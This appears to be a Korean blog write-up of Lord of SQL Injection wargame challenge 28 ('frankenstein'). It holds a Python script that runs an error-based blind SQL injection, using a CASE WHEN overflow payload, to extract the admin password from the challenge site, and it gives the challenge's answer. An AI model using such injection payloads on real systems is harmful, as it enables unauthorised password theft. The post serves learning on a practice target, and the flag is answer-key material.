Home LOS - 28번 frankenstein
Post
Cancel

Lord of SQL Injection › LOS - 28번 frankenstein

[28] frankenstein

문제

풀이

LoS 28번 Python 자동화 코드이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

url = "https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php"
cookie = {"PHPSESSID":"2evml88c628kabc2j1vfk63ks9"}

print("🖤 Start SQLi...")

ans = ""
end = False

for i in range(1, 100):
    if(end==True):
        print(f">> There's No Letter {i}")
        break
    end = True
    print(f"🖤 Checking letter {i}...")
    for asc in range(48, 127):
        search = ans+chr(asc)
        payload = f"?pw=' || CASE WHEN id='admin' and pw like '{search}%25' THEN 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF ELSE 0 END %23"
        res = requests.get(url+payload, cookies=cookie)
        if("login_chk" in res.text):
            continue
        elif("error" in res.text):
            print(f">> Letter {i}{chr(asc)}")
            ans+=chr(asc)
            end = False
            break

print(f"🖤 Answer : {ans}")

그런데 여기서 끝이 아니었다.

자동화 공격 결과 분명 답은 숫자와 알파벳 대문자의 조합으로 나왔건만…

아무리 넣어봐도 안 풀렸다.

도저히 이유를 모르겠어서 다른 블로그 글을 찾아봤더니 답은 0dc4efbb 였다.

왜 아스키로 검색했는데 대소문자가 반대로 나오는지…

결과

❤ Recent Post
❤ How About This
❤ Visitor Counter